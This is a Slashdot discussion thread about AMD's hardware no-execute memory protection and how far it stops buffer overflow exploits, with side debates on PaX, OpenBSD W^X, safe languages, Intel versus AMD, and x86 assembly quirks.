    OpenBSD's W^X (magicpoint slides) and Linux grsecurity PaX both use that on x386 but it has its limitations, think for example that every shared library has its own code and data section (to oversimplify) and you have to do heavy manipulation to cram each part in the right segment... Having a per page protection is way better, more convenient and do not sacrifice usability for security (forget Java with PaX, OpenBSD gets by being slighly less secure, but at least not breaking well known Unix semantics like PaX...).

    1. Re:It is more or less... by Anonymous Coward · · Score: 0

      you're comparing apples to oranges when you compare PaX to OpenBSD. PaX has been integrated into bigger systems which are much more secure and usable than OpenBSD. try Adamantix (http://adamantix.org) or Hardened Gentoo (http://www.gentoo.org/proj/en/hardened) one day and see how well your Java or XFree works (with the maximum possible protection, no less, unlike OpenBSD). oh, and PaX does provider per-page executable bits on all supported archs including i386, there is no ugly 'heavy manipulation' of executable files like on OpenBSD - on this one you're right, it's 'way better' indeed.

  155. Wrong. NX is in the 2.4.x kernels, at least. by Ayanami+Rei · · Score: 3, Informative

    Read on. There is specific support for the NX flag on pages. If you boot with noexec=on, then stack/heap/data is automatically protected. If the page fault handler sees your thread because of an NX flag violation, the process is killed.
    Caveats: you can't mprotect it back to execute status, and it breaks some software, especially Mozilla/Java/Ada (just like exec-shield...)

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
  156. No probs... by Phil+John · · Score: 1

    ...it made me laugh at any rate! ;o)

    Not wanting to be a word nazi, but actually: Ain't isn't a word, but it is a contraction that was first used in the 1700's. Quite an interesting read. :o)

    --
    I am NaN
  157. comparison with other hardware protection features by xot · · Score: 1

    If you remember there was a Virus "chernobyl' that destroyed a computer's BIOS besides cleaning the Harddisk.After that outbreak, there was a virus protection embedded on the motherboard.(eg. Trend)Would this protection compare to something like that?
    More importantly would it be really that efficient so as to block all kinds of buffer overflows?

    --
    Lord of the Binges.
  158. PaX homepage by ^BR · · Score: 1

    With some documentation here: http://pax.grsecurity.net/.

    BTW, reading on PaX you'll probably stumble on them badmouthing OpenBSD ("them" most likely being fanboys than developpers), this childish attitude from a certain base of users do them nothing but harm...

  159. Linux can make use of non exec memory... by Phil+John · · Score: 1

    ...with the kernel patches from http://www.grsecurity.net. Adds support for real acl's, chroot enforcement and lots more hardening of the kernel in general.

    I've been using it in a shared hosting environment so that I can allow my users to have sftp only access whilst being jailed into their home dir.

    --
    I am NaN
  160. Buffer overflow only modify the PC pointer... by ^BR · · Score: 1

    To have the code jump at some unintended place, like that $HOME environment variable where you conveniently put your shellcode. What happens when the section where environment variables are is not executable as it should be? Program segfaults instead of the machine being owned...

    It'd be nice to prevent buffer overflows in the first place, but errors do happen and having a single line of defense is a really bad idea if it is ever breached...

    The good attitude is do the most you can to prevent buffer overflows (by any means necessary, code reviews, replacing unsafe APIs like OpenBSD did replacing all occurences of strcpy(), strcat(3) and sprintf(3) by safer counterparts) and having tight memory protection. Add to that some privilege separation work, chroot(2) anything chrootable and you have way better sleep...

    1. Re:Buffer overflow only modify the PC pointer... by ajagci · · Score: 1

      To have the code jump at some unintended place, like that $HOME environment variable where you conveniently put your shellcode. What happens when the section where environment variables are is not executable as it should be? Program segfaults instead of the machine being owned...

      No, you just have the return pointer point at some place in the executable that already creates a shell; it wouldn't jump to the $HOME variable.

      It'd be nice to prevent buffer overflows in the first place, but errors do happen and having a single line of defense is a really bad idea if it is ever breached...

      Right now, people have no defense, and this AMD hack doesn't create much of a defense either. Neither do your code reviews or library changes.

      The good attitude is do the most you can to prevent buffer overflows (by any means necessary, code reviews, replacing unsafe APIs like OpenBSD [openbsd.org] did replacing all occurences of strcpy(), strcat(3) and sprintf(3) by safer counterparts) and having tight memory protection. Add to that some privilege separation work, chroot(2) anything chrootable and you have way better sleep...

      No, that's a lousy attitude, because it doesn't address the underlying problem: the problem that C is severely broken when it comes to fault detection. You are on a boat with a million little holes and plugging them one by one. That just won't work, it will only sink you more slowly.

      For anything that needs to be secure, use a language that has reasonable runtime safety. After that, you can still do code reviews and replace "unsafe APIs" if you like. That is, use a language that doesn't have a million little holes. Maybe it still has one or two holes, but those are much easier to plug by hand.

  161. Never had a post... by ^BR · · Score: 1

    ...been so informative in so few words. Well done ;-)

  162. Re:Pathetic by Anonymous Coward · · Score: 0

    dooood sumtimes bean called a 14 year old is a steep up... it should be +1 !!!! Ha Ha Ha I just pooped my diapers!

  163. Intel has more fabs by isdnip · · Score: 1

    AMD's big problem isn't marketing, it's manufacturing. AMD is doing a pretty good job with the resources they have, but Intel has much larger capacity. Nobody fabs like Intel, and nobody has fabs like Intel. So if AMD had more orders, they'd just have bigger backlogs. They may be able to get some third-party fabrication, like from IBM, but Intel would not let its fabs sit idle. I prefer AMD chips myself, at least for desktop-type applications (Intel still wins on mobile chips), but this is not like OS/2 (which I also preferred in its heyday) -- chipmaking is expensive!

  164. Prevents some exploits; raises bar on others by cquark · · Score: 1
    Some exploits will be prevented, and the bar will be raised for most exploits. Worms that rely on classic stack smashing attacks will fail on the new processors even if they succeed in their attacks on older machines.

    It's not always possible to execute a return-into-libc attack. What if the function you want to jump to has a NULL byte in its address? In that case, you can't pass that address as part of a C-string. Patches exist to ensure that all functions in libc end in 00 to protect against return-into-libc attacks. For those interested in more details, Horizon's paper on bypassing no-exec stacks on Solaris explains the return-into-libc attack.

    There are also cases where you don't need to insert code into an application. Instead, you can change the return value of a function or the outcome of a conditional security test to exploit the overflow. In such situations, you can achieve your goal by overwriting a variable without injecting code.

    If the stack is protected and the heap is not, you can use a heap overflow to inject code into the heap, then use a stack overflow to corrupt the return address to point to the exploit code located in the heap. However, if the heap is non-executable too, this class of attack won't work.

  165. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  166. Been done before ??? by Samuel+Nitzberg · · Score: 1

    Didn't IBM systems 360 and 370 seperate memory sections for data and executable code ?

    http://www.iamsam.com

  167. Funny to by embedded_C · · Score: 2, Funny
    From the article...

    The alert was sparked by the discovery that a raft of Microsoft programs were vulnerable to a problem called "buffer overflow", which hackers can exploit to extract private information from a PC.

    ...

    The new AMD chips prevent this. They separate memory into instruction-only and data-only sections. If hackers attempt to execute code from the data section of memory, they will fail. Windows will then detect the attempt and close the application.

    So they are depending on Windows to detect the attempt and close the application? Bwahahaha! So now rather than offering Critical Updates to fix buffer overflow vulnerabilities, MS will now offer Critical Updates to fix buffer overflow exception handling vulnerabilities. Ha!

    1. Re:Funny to by Anonymous Coward · · Score: 0

      Actually it sounds to me like it'll cause a GPF

    2. Re:Funny to by evilviper · · Score: 1

      No, it's after the overflow fails that Windows will close the program... The overflow protection is in hardware, so it's only dependant on Windows basically setting a register at boot-up, and that's all.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  168. Re:New AMD slogan? How about.... by thestarz · · Score: 0

    Not bad, but it's hard to beat: "Intel inside, idiot outside."

    --

    c++; /* this makes c bigger but returns the old value */
  169. Average Joe Doesn't Care by Feren · · Score: 1

    I think the posting summed it up neatly when it said "The question will be whether their PR department can spin this into a big enough story to sell to the Average Joe."

    The Average Joe doesn't know what a buffer overflow is and he doesn't care. When you think about it... really, how many buffer overflow problems does Average Joe encounter? Yes, they're a plague to sysadmins, but for the regular guy who just wants to play EverQuest and surf the web it's not an issue. He isn't going to leap up and say "This is the solution to my problems!" He's more likely to frown at the phrase, scratch his head, mutter "Huh... I don't want to pay extra for something I'm not going to use," and go on his way.

    So, this will never see adoption outside of a niche market for servers. AMD will not see a profit because of it, and I'd go so far as to wager they know that. I expect they're not going to spend all that much money in any marketing attempts.

  170. SUN has done this for years by Anonymous Coward · · Score: 2, Informative

    Um folks Sun UltraSparc chips and Solaris have been doing overflow protection for years. This is nothing new. All you have to do is enable it.

  171. Re:comparison with other hardware protection featu by Anonymous Coward · · Score: 0

    First of all.. virus protection has been in bios software way before the CiH virus, hell i think my 486 had it back in 1993... as for the buffer overflow protection.. read the damn article.. a buffer overflow is a buffer overflow.. this new chip prevents it by keeping the instruction area seperate from the data area.. there will be no buffer overflows period

  172. That would imply... by Garridan · · Score: 1

    That previous years haven't been filled with sloppy coding.

  173. Re:screw average joe - you mean screw reality by jrexilius · · Score: 1

    Actually I am part of the enterprise architecture that sets the standards for the company and reviews all projects going on in the bank, so yes I know where our infrastructure and systems are at and where we are going.

    Right now we are in the middle of developing our plan for migration to linux. Yes we are planning on ending up with most of that 85,000 as linux desktops over the next 5 years.

    Are large organizations slow? hell yes. but does that mean that they wont move to address risk and reduce expenses? hell no.

  174. Re:Did somebody say John Von-Neuman ? by ocie · · Score: 1

    Except you are thinking of Alan Turing, not John Von-Neuman. Now, what I picture is Jerry Seinfeld as Eccard or Machley (sorr, sp??) working on the Eniac and saying in frustration:

    "Von Neuman!!!"

    --
    JET Program: see Japan, meet intere
  175. Once again, the reporter should read carefully... by Anonymous Coward · · Score: 3, Informative

    This "new feature" for marking pages as having a non-executeable stack is *already* part of the Athlon-64 chips. The New Scientist article was talking about how a new version of XP will begin using it soon--not that it's not yet released.

    AMD has already made Intel look bad by getting their 64-bit CPU into the mass-market first, and this feature was implemented partly to provide a facility that some other platforms (e.g. Solaris on Sparc) have had for quite some time.

  176. That is incorrect by Anonymous Coward · · Score: 1, Informative

    The software has to be compiled to take advantage of this (hence the new version of XP)

    actually, it only has to work in 64-bit mode in most of the cases. That is because by default heap allocs request the pages to have PROT_READ, which on x86-32 gives PROT_EXEC as well - not so in AMD64 64-bit mode. so for instance unless explicitly unset in the kernel boot parameters, AMD64 Linux kernels give buffer overflow protection for 32-bit apps, no recompile needed

    of course, in windows world you need to wait for the 64-bit kernel, hence the new version of XP.

  177. The real problem will be... by Tokerat · · Score: 1


    ...that most of the software that experiences buffer-overflow problems is software that wasn't written using standard APIs (unless, of course, the standard APIs are buggy...). If they didn't do it right the first time, what makes you think they're going to re-write it in a less lazy form just because hardware supports it? Programmers could easily prevent buffer-overflows in software but they (sometimes) don't. If this is to work at all, it should probably be automatic. How to actually acomplish that is another question...

    What is really needed is for compilers to have the option to include runtime overflow checking. I know it was decided to leave such a thing out of the ANSI C/C++ standards for speed/optimization reasons, but now it's causing quite a few headaches as we see that the more people we have programming, the less the ratio of careful programmers to non-careful programmers there are. Computers are faster these days, and perhaps the speed hit would be negligible.

    Of course, adding such functionality in hardware would most likely keep such a problem to a minimum, but that leads us back to the first problem of detecting and/or APIs. Perhaps compilers will be modified as well as hardware?

    --
    CAn'T CompreHend SARcaSm?
  178. So does this mean... by Anonymous Coward · · Score: 0

    ...page-level non-executable flags?

  179. It would get them sued by Sycraft-fu · · Score: 1

    Remember that no execute areas of memory, whule a good idea and preventitive of certian problems, do not even come close to preventing all ways of hacking a computer. If someone runs a malicious program, well it will execute since it was run. Ditto if a script kiddie breaks a weak password and installs a program.

    So some moron (or more likey MANY morons) would get the AMD chip, think they were invincible, get hacked 6 ways from Sunday, and then sue AMD for false advertising. Worse? They might actually win.

    AMD does not need that sort of shit, as it could be all it took for Intel to regain a total strangelhold.

  180. Stackguard anyone? by Anonymous Coward · · Score: 1, Interesting

    I must be an early adopter, because my processor already detects when your overflow buffers. Ever hear of immunix, the linux distribution with all binaries compiled with Stackguard protection?

    What about libefence- the library that detects memory overwrites and underwrites and exits.

    What about BoundsChecker?

    This isn't new...its just another way to do the things that we don't do anyway. Its not going to force anyone to compile their software to use these features, and thats part of the problem.

  181. Super How long until enhanced linux using it by Anonymous Coward · · Score: 0

    Basicly a lot of secuity problems will not work any more. Now this need to be expanded a bit more. Buffer alloc function (direct malloc direct realloc and direct free.) These in the kernel will detect buffer overflows allowing safe realloc of data or temination of program.

  182. Heads Up, Microsofties! by rixstep · · Score: 2, Funny

    Actually this is fantastic news. Already, it doesn't matter that Microsofties are dividing by zero all over the place - it becomes an exception taken care of by the built-in structured exception handling and life goes on and the user is never the wiser.

    Now we can excerpt even more crappy code. All that's left is a realtime automaton connected to the CPU that spots Microsoft code on the way and automatically gives it a liposuction before feeding it in.

    Technology!

  183. You know what AMD Needs? by fluxrad · · Score: 2, Funny

    They need to hire the marketing firm that produced those hilarious 3dfx commercials...

    You know, the ones that started off with the soft voice, "We produced a chip that has the power to save lives, to heal across distances, to end hunger...But then we deciced: Hey, let's use it for games!"

    Granted you could be nervous about this since 3dfx went the way of the dodo, but since AMD doesn't make POS video cards that double the weight of your box...they should be safe ;-)

    /proud to be an AMD customer since the K6II

    --
    "It is seldom that liberty of any kind is lost all at once." -David Hume
    1. Re:You know what AMD Needs? by Loki_1929 · · Score: 3, Informative

      "Granted you could be nervous about this since 3dfx went the way of the dodo, but since AMD doesn't make POS video cards that double the weight of your box...they should be safe ;-)"

      3DFX's problem had nothing to do with their products. Their problem had to do with the fact that they got greedy - extremely greedy. After their first few successful graphics chips were launched, they basically shut their board makers out in the European market with the purchase of STB. They began producing their own boards, and had production capacity sufficient to supply the European market, and that's about it. Thus, other board makers were still necessary for other markets, such as the US. Having been bent over by 3DFX in the European market, board makers essentially told 3DFX to take their chips and stuff them. Thus, 3DFX was left with the choice of abandoning every market but the European (you're joking, right?), or dipping into (read: draining) their R&D budget. Noting that option 1 was suicidal, 3DFX chose the latter. Thus, production was bumped, the new Voodoo 3 graphics cards were an outstanding bunch, and virtually no R&D was accomplished for a few years. Wait; did I say they didn't do any R&D for a few years?! Yes - yes I did. Thus, the thus far sub-standard (where 3DFX was the standard) 3D graphics card/chip makers were able to catch up to, and surpass 3DFX in both performance and features. Glide, 3DFX's baby, was eclipsed by the more open, if less fully-featured, OpenGL in game support. By the time 3DFX had enough production capability to start working on new cards, the writing was on the wall. Ati, Matrox, and nVidia were already too far ahead for 3DFX to have a chance competing against. 3DFX dumped the last of their cash into creating an extraordinarily powerful, goofy as hell looking, wildly expensive set of cards, which saw almost no time whatsoever in the market before 3DFX was forced to sell all IP rights to nVidia. 3DFX, nothing more than a shell of a company with no IP, then collapsed about a month later.

      The last good card from 3DFX? The Voodoo 3 3500. Their last great card? The Voodoo 3 3000, whose overclocking ability was absolutely beyond anything anyone had ever before imagined possible. With stock cooling, one could achieve gains that would be thought of as ridiculous (percentage-wise) today. My own V3 3000, whose default memory clock speed was 166MHz, hit 220MHz with the stock cooler with no artifacts. I recall pushing it a bit higher with a rigged cooling system before finally replacing the card (it was getting OLD). 200MHz was common for the memory speed on those, and values as high as 240 - 250MHz had been reported, though often not without some artifacts. The quality of components was next to none from 3DFX. It was not their product, but their arrogance that was their undoing.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    2. Re:You know what AMD Needs? by Anonymous Coward · · Score: 0

      "3DFX's problem had nothing to do with their products."

      Although the voodoo3 was a successful retail card it was highly inferior to Nvidia's tnt2 and tnt2 ultra of the time. The Voodoo 3 only supported 16bit color in 3d. It was hands down the best looking 16 bit color out there because it was more like an emulated 22bit color but still wasn't 32bit (Nvidia began supporting 32bit color back with the tnt 1) The other thing that sucked about Voodoo3 was the 256X256 texture limitation. With tnt2 and up Nvidia started supporting texture sizes of 512X512. This texture size limitation and limited color support in 3d was very noticeable in games of the time i.e. Quake 3, Kingpin, etc. Simply put it looked like trash on Voodoo3. Any true videophille of the time would have ran a TNT2 or TNT2 ultra and ran 2 12meg Voodoo2's in SLI mode (which ran like a Voodoo3 3000) for the few glide only apps of the time i.e. Tribes, breakthrough release of UltraHLE, Unreal 1, etc. John Carmack was on 3DFX's board of advisors and pleaded with them that the specs on Voodoo 3 were the "wrong thing to do."

  184. Does AMD really have the better product? by tjstork · · Score: 1


    Pentium 4 seems to score better on all the benchmarks. I won't argue that the instruction set is butt ugly, but right now Pentium 4 is the fastest CPU in town... and, if you want all out elegance, you really can't top IBM's Power PC. It has all the registers you could ever want, easy 32 to 64 bit transition, simplified instruction set.. it's an assembler programmer's processor.

    What's AMD have? Something in the middle... looks ugly like Intel, but not as fast.

    --
    This is my sig.
    1. Re:Does AMD really have the better product? by Anonymous Coward · · Score: 0

      The benchmarks that Intel still wins are the ones where Intel had their developers go in and optimize the code (ie DivX). AMD blows Intel away in a cost/performance ratio comparison.

    2. Re:Does AMD really have the better product? by Anonymous Coward · · Score: 0

      Intel cheats... even their own compiler cheats!

      http://www.theinquirer.net/?article=13821

      Simple Fact, AMD chips have been better than Intel's for some time... don't buy into the mhz myth...

      Just buy the best cost/performance ratio. You'll end up with AMD every time.

  185. You really can't compare the two ... by vlad_petric · · Score: 1
    OS/2 was considerably more stable than Windoze - that cannot be said about AMD processors with respect to Intel processors. For one, the safety margins that Intel procs use are higher than AMD's (overclockers can attest that ... )

    Sure, you can complain about their processors being beaten by AMD's when running at the same clock, but the manufacturing quality of Intel processors is very high.

    --

    The Raven

  186. Old news for VMS by Anonymous Coward · · Score: 1, Interesting
    Of course the VAX and VMS did this from day one.

    Anyone think HP will come out with an intellectual property noise ?

  187. Re:the Chipmaker??? by edwdig · · Score: 1

    Cooperative multitasking is only better than preemptive if your only concern is that a process uses the minimum amount of CPU time possible.

    I don't care if my MP3 player decodes 1 second of audio in 90 ms instead of 100 ms. All I care is that it gets the 100 ms it needs every second.

    Likewise, I don't care if we can shave 1 ms off the time necessary for the CPU to handle me clicking a button. I just care that the UI responds immediately.

    Yes, I realize that real-time scheduling would be even better for the things I just said. But that's got its own set of problems. Preemptive multitasking is a compromise between different needs that works really work most of the time.

  188. Re: x86 assembler and it's quirks by cjellibebi · · Score: 1
    >Actually, I had a 433Mhz Celeron, and I believe it was faster to do the overwrite (I only changed the immediates on O(1)).

    IIRC, Celerons were basically Pentiums without the cache, so Celerons would not experience the cache-miss issues caused by self-modifying code, but I could be wrong...

    >Eventually, I switched away from doing this to use 32-bit registered to behave like 2 16-bit registered to avoid doing lots of pushes. Just had to do rol 16 at appropriate times.

    Thanks to the convolutedness of the x86 architecture, if you're running the CPU in 32-bit protected mode, you would have to add a prefix to each instruction to turn it into a 16-bit instruction. Not only does the prefix make the code longer, but this prefix also stalls the CPU. On 80486's and above, there's a bswap instruction (can't remember the exact name). This swaps the endian-ness of the dword in the register. bswap could be used instead of rol 16, and again instead of doing a ror 16 to get the value back. The only difference is that the bytes in the high-word of the dword will have their endian-ness changed, but if you're only doing this to shove a 16-bit value aside while you work on another 16-bit value, this should be no problem.

    >I'm sort of surprised there isn't a compiler optimization to do this, as the results were nearly as fast as self-modifying code.

    x86 assembler is a complete mess, and with somany processors and cache-configurations available - each with their own quirks, writing the most optimised code has become an artform and is something best done by hand. Of course, caches, virtual memory, multi-tasking and multi-processors make life that bit harder. If a C compiler was written that knew of the trick you mentioned, it would have to be able to tell which integers are 32-bits and which ones are 16-bits (when programming for an x86 architecture in C, it is adviasble to use 32-bit integers wherever possible regardless of the range of values it will store (except for when size is an issue). This is because there is no instruction-prefix for 32-bit instructions). The compiler has no means of knowing at compile-time whether or not a 32-bit integer is going to store values outside of the range of a 16-bit value, so it would not be able to apply this trick. If the programmer were to specify which values are 16-bit when writing the C code, they have no way of knowing if the compiler is going to use that particular trick or not, or if it would have come up with something faster if the values were 32-bit. And if you're that inclined to try and give hints to the compiler, you may as well be programming in assembly. So this optimisation is best left to writing assembly code by hand. However in C99, it is possible to specify that a data-type should be the fastest type that can store N bits (ie. not necessarily the smallest type), so a C99 compiler might just be able to handle that optimisation without the programmer giving hints to the compiler.

  189. Re: x86 assembler and it's quirks by 10101001+10101001 · · Score: 1

    > IIRC, Celerons were basically Pentiums without the cache

    The first Celerons were Pentium IIs with half the cache but at full speed (which ironically ended up making the Celerons faster than the Pentium IIs). Then Pentium IIs cache went full speed, so the Celerons became slower again.

    > Thanks to the convolutedness of the x86 architecture, if you're running the CPU in 32-bit protected mode

    The program is 16-bit DOS.

    The bswap idea sounds good, but I'd rather if the program worked on all i386+ chips.

    > If a C compiler was written that knew of the trick you mentioned, it would have to be able to tell which integers are 32-bits and which ones are 16-bits

    No, that's not really necessary. Shorts are 16-bit integers. The idea really could be extended on Athlon 64's to make all the 64-bit registers behave like twice as many 32-bit registers, as I believe ints are still 32-bit on the Athlon 64. In any case, it'd be a nice hack to avoid the stack a little bit. I'm not sure how much of an improvement it'd really be, though.

    --
    Eurohacker European paranoia, gun rights, and h
  190. Re:Pathetic by Trelane · · Score: 1

    The stock linux kernels support it already. Not sure if the 64-bit distro versions have it turned on by default (don't have the hardware to use it on).

    --

    --
    Given enough personal experience, all stereotypes are shallow.
  191. XP SP2 by Anonymous Coward · · Score: 0

    It is too out. Demo beta, yes, but all the functionality is there. Go look on filemirrors for xpsp2. heh.

    ~Fus

  192. SE Linux by Tracy+Reed · · Score: 1

    And if you are at all concerned about the security of your box you should take a look at SE Linux

  193. Scary subliminal Intel jingles by attackc0de · · Score: 1

    Every time I go grocery shopping at the local Food Lion, I hear the Intel jingle played every 5 minutes mixed in with the ambient obligatory background music. That's Pretty scary if you ask me.

    Fortunately, my Jedi mind powers are strong, and I can resist such subliminal messages!

    --
    For a nice date: call strftime(3C)
  194. Microcode updates by DigiShaman · · Score: 1, Interesting

    From the P-Pro on up, Intel CPU now support microcode updates to fix or work around the bugs. Once a motherboard manufacture knows of the CPU errata, they simply update the microcode into a newer BIOS revision. By flashing your BIOS to the latest rev (assuming it contains updated microcode), you will have fixed the CPU problem.

    Also, AMD CPUs support microcode updates as well.

    --
    Life is not for the lazy.
    1. Re:Microcode updates by Loki_1929 · · Score: 1

      "support microcode updates to fix or work around the bugs"

      Several of those could not be fixed via microcode updates, hence the recalls. Also, at least one fix blew out some compatability with a common chipset. This apparently was not something that could be worked out, so they just left it that way. The PIII 1.13GHz CPUs were totally recalled, because the CPU simply could not run at that frequency reliably. In any event, the fact that they've had so many problems, many of which have caused problems for people actually buying and using the CPUs, just goes to show that Intel isn't the super duper pinnacle of stability that people make it out to be.

      No CPU is perfect, but claiming that Intel is making super high quality chips is laughable. It's all consumer grade - even the Itaniums.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
  195. Re: x86 assembler and it's quirks by Anonymous Coward · · Score: 0

    Actually the first celerons didn't have L2 cache at all which gave the processor a really bad reputation. It was only later that intel came to their senses.

  196. Re: x86 assembler and it's quirks by 10101001+10101001 · · Score: 1

    I stand corrected. I forget, the first Celeron (266) had no L2 cache. They overcompensated with the 300A. Well, anyways... :)

    --
    Eurohacker European paranoia, gun rights, and h
  197. Go ahead! by ^BR · · Score: 1

    Start by rewriting bind in the safe language of your choice...

    In the meantime, people are working at making current code that people are relying on more secure...

    Until you have something to show, STFU...

    1. Re:Go ahead! by ajagci · · Score: 1

      Start by rewriting bind in the safe language of your choice... [...] Until you have something to show, STFU...

      For just about every major server component (DNS, SMTP, HTTP, etc.), you can already get numerous implementations in a variety of safe languages. Those are pretty much immune to buffer overflows and many of the other security problems that regularly plague C/C++-based server code. So, there is plenty of stuff to show, it's just that people like you are too ignorant to use it and that people like you behave like jerks when someone suggests they do.

      Maybe this will change now that Microsoft is pushing for languages and runtimes like C#/CLR that, in fact, do support runtime safety from the ground up while still being flexible enough to allow system programming. You can expect much of Microsoft's system software and servers to be rewritten in C#/CLR and most of their buffer overflow problems going away. Hopefully, Linux will follow the same path.

  198. Similar with AmigaBasic (by MS) by sorbits · · Score: 1

    AmigaBasic was written by Microsoft and one of the only programs I recall not working when the operating system was upgraded to V2.0.

    1. Re:Similar with AmigaBasic (by MS) by Sxooter · · Score: 1

      Yep, I remember that too. What happened is that some whiz kid 'leet hacker at MS used the upper 8 bits of the 32 bit address space on the 68000 to store miscellaneous data. when the 68020/030/040 came out with a full 32 bit address space, AmigaBasic crashed because now those bits meant something.

      Keep in mind, Commodore made it very clear from the beginning that using those upper bits was a very bad thing and to be avoided. But sometimes people are more interested in using strange and arcane methods to impress their friends than in writing good code.

      --

      --- It is not the things we do which we regret the most, but the things which we don't do.
  199. Numerous toys implementations by ^BR · · Score: 1

    Rarely the level of features and performances that people are used too... Find me something with the level of functionality of bind and that scale, i'm interrested...

    I'm all for fixing the roots of the problem but it takes time and before it's ready some simple things can plug numerous holes...

    1. Re:Numerous toys implementations by ajagci · · Score: 1

      Rarely the level of features and performances that people are used too...

      Well, duh, if people don't use it, then it doesn't get more mature.

      Find me something with the level of functionality of bind and that scale, i'm interrested...

      You can run the "bind" codebase itself securely by running it with a safer C runtime. But what it comes down to is that people like you just don't give a damn about security: you just reject any alternative because any alternative means some level of temporary inconvenience for you.

      Fine. But people like you just shouldn't tell other people that something like this AMD hack is going to fix everybody's security problems--it just won't. Our computer infrastructure is insecure because people like you choose to keep it insecure (that's not to say that you yourself have any say in the matter--just that your attitude is very common).

  200. AMD doesn't need better marketing, just by vortexau · · Score: 1

    AMD needs THIS!

    Suggestion: Do a 'Google-image-search' for the term- "Intel Outside"; as used by many proud to not use Intel!
    'Results 1 - 20 of about 199. Search took 0.18 seconds'
    .

    --
    (David Bowman, EVA near HUGE Monolithic Win-PC in orbit around Jupiter) "My God - its full of Malware!"
  201. Re:AMD needs better marketing *BAH* by Anonymous Coward · · Score: 0

    Sorry, but we tried going all AMD in-house, and the machines were woefully instable at any speed. It's really sad, but true. I *wanted* to like AMD more, but any machine we've bought within the last 8 months has been Intel. We just can't afford the random downtime and reboots that only happen on AMD boxes.

    The P4's and Xeons that have replaced them? Not one complaint.

  202. nice one by Anonymous Coward · · Score: 0

    i wish there was a '6' rating for genius comments.

    this man/woman is informed and, most importantly, is extremely funny.

    Ha ha ha.

  203. motherboards by Anonymous Coward · · Score: 0

    When I buy a new system, I go by set budget. My last two systems havent been using AMD cpu to get same performance for less, but because I can get MORE performance for the same money.

    After a 2 minuite check, if my budget allowed a 2.6ghz Intel and a fully featured motherboard, the AMD alternative for same price is a 3200XP with deluxe nforce2 - plus quality aftermarket HSF.

    Comparing an intel's ghz CPU with the same PR AMD only makes sense to compare the two companies' marketing measures. Why anyone gives a shit about this is beyond me, and you only need to look within Intel's products to see mhz is just as much BS as PR - just compare Celeron, P4, P-m and P4EE.

  204. Let them be broken. by cnelzie · · Score: 1

    Seriously. I know it would suck in many ways to have some legacy programs break, but sometimes those are the breaks.

    In other areas of society, when we find problems that can easily be exploited we fix those issues, why don't we do that with computer science as well?

    Keeping gets() around is akin to police departments issuing police cruisers with two doors, no partitions between the officer(s) and the person(s) riding in the back seat. That was stopped in the 70's from my understanding, when it was discovered that you really couldn't trust a number of the people riding in the back seat of a police cruiser.

    I say break the old applications and bring some application of logic to computer programming for a change.

    --
    If you ignore the other uses of a tool, does that make the tool less useful, or you less useful?
  205. Re: x86 assembler and it's quirks by cjellibebi · · Score: 1
    >The program is 16-bit DOS.
    >[...]
    >> If a C compiler was written that knew of the trick you mentioned, it would have to be able to tell which integers are 32-bits and which ones are 16-bits
    >No, that's not really necessary. Shorts are 16-bit integers.

    Oops - I assumed you were writing 32-bit protected mode code. My bad.

    >The bswap idea sounds good, but I'd rather if the program worked on all i386+ chips.

    Now that I think about it, the bswap idea may not be such a good idea after all. IIRC, on 80486's and above, there is an execution pipeline that executes instructions while others further back in the pipeline are being decoded. For some reason, an opcode with less than two operands creates a stall (although I'm not so sure about 1 operand opcodes - it's been a while...). I'm not sure if bswap is one of those operands, but I remember one trick for optimising pairs of nop's that are used for padding is to replace two nop's with a mov eax, eax. This prevents a pipeline stall, and even decreases pipeline congestion, as this is a single instruction, and not two. So basically, you're getting the processor to do nothing faster. Even GCC uses that trick to generate faster code.

  206. desperate attempts by Anonymous Coward · · Score: 0

    Why Didn't you write your own OS in a safer language of your choice other than C/C++?

    Stop relying on "C weenies'" OS. Until you do, resorting to ad hominems won't improve security.

    How does a C Software programmer influence flawed Hardware CPU designs? More desperate attempts at ad hominems, I see.